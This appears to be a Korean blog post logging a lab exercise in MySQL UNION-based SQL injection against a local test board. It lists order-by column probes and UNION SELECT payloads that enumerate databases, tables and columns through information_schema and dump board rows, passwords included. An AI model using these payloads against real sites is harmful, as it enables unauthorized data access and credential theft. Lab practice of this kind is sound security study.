Oh! JUN
MYSQL UNION-BASED 공격 실습, 목록과 상세보기의 기능적 차이 본문
1. 게시판 목록
1-1. order by를 사용해 컬럼 개수 파악하기
' order by 7# | 정상출력 |
' order by 8# | 에러발생 |
' order by 9# | 에러발생 |
' order by 10# | 에러발생 |
- 7번째까지 정상출력되고 그 이후로는 에러가 발생하기 때문에 컬럼의 개수는 7개이다.
1-2. UNION 활용
1-2-1. 기본 정보 조회
' and 1=2 union all select version(), system_user(), database(), 'a', 'b', 'c', database()#
- DB 버전, 유저정보, DB이름 기본정보 체크
1-2-2. DB 조회
' and 1=2 union all select version(), schema_name, database(), 'a', 'b', 'c', database() from information_schema.schemata#
- information_schema.schemata에서 schema_name DB이름 조회
1-2-2. TABLE 조회
' and 1=2 union all select version(), table_name, database(), 'a', 'b', 'c', database() from information_schema.tables where table_schema='board'#
- information_schema.tables에서 'board' DB의 table_name 테이블이름 조회
1-2-3. COLUMN 조회
' and 1=2 union all select version(), column_name, database(), 'a', 'b', 'c', database() from information_schema.columns where table_schema='board' and table_name='tb_board'#
- information_schema.columns에서 DB이름이 'board'이고 Talbe이름이 'tb_board'인 컬럼을 조회
1-2-4. DATA 조회
' and 1=2 union all select version(), concat(idx,'###',content,'###',password,'###',regdate,'###',secret,'###',title,'###',writer), database(), 'a', 'b', 'c', database() from board.tb_board#
- board.tb_board에서 id, content, password, regdate, secret, title, writer 정보 조회
2. 상세 보기
2-1. order by를 사용해 컬럼 개수 파악하기
idx=11 order by 7%23
idx=11 order by 8%23
idx=11 order by 7%23 | 정상출력 |
idx=11 order by 8%23 | 에러발생 |
idx=11 order by 9%23 | 에러발생 |
idx=11 order by 10%23 | 에러발생 |
- 7번째까지 정상출력되고 그 이후로는 에러가 발생하기 때문에 컬럼의 개수는 7개이다.
2-1. UNION 활용
2-2-1. DB 개수
http://127.0.0.1/board/mysql/view.php?idx=11 and 1=2 union all select null, count(*), null, null, null, null, null from information_schema.schemata%23
2-2-2. DB 순차적 레코드
http://127.0.0.1/board/mysql/view.php?idx=11 and 1=2 union all select null, schema_name, null, null, null, null, null from information_schema.schemata limit 7, 1%23
2-2-3. Table 개수
http://127.0.0.1/board/mysql/view.php?idx=11 and 1=2 union all select null, count(*), null, null, null, null, null from information_schema.tables where table_schema='board'%23
2-2-4. Table 순차적 레코드
http://127.0.0.1/board/mysql/view.php?idx=11 and 1=2 union all select null, table_name, null, null, null, null, null from information_schema.tables where table_schema='board' limit 1, 1%23
2-2-5. Column 개수
http://127.0.0.1/board/mysql/view.php?idx=11 and 1=2 union all select null, count(*), null, null, null, null, null from information_schema.columns where table_schema='board' and table_name='tb_board'%23
2-2-6. Column 순차적 레코드
http://127.0.0.1/board/mysql/view.php?idx=11 and 1=2 union all select null, column_name, null, null, null, null, null from information_schema.columns where table_schema='board' and table_name='tb_board' limit 0,1%23
2-2-7. Data 개수
http://127.0.0.1/board/mysql/view.php?idx=11 and 1=2 union all select null, count(*), null, null, null, null, null from board.tb_board%23
2-2-7. Data 순차적 레코드
http://127.0.0.1/board/mysql/view.php?idx=11 and 1=2 union all select null, concat(idx, '%23%23%23', title, '%23%23%23', content, '%23%23%23', writer, '%23%23%23', password, '%23%23%23', '%23%23%23', secret, '%23%23%23', regdate), null, null, null, null, null from board.tb_board limit 0, 1%23
'웹 해킹 > SQL Injection' 카테고리의 다른 글
UNION-BASED 공격이 가능한 아이디 중복 조회 기능에 대한 공격 실습 (0) | 2022.08.28 |
---|---|
ORACLE UNION-BASED 공격 실습 (0) | 2022.08.27 |
ORDER BY , UNION 구문 실행 확인 실습 (0) | 2022.08.25 |
UNION 공격 검증 (0) | 2022.08.25 |
UNION과 UNION ALL 차이점 실습 (0) | 2022.08.24 |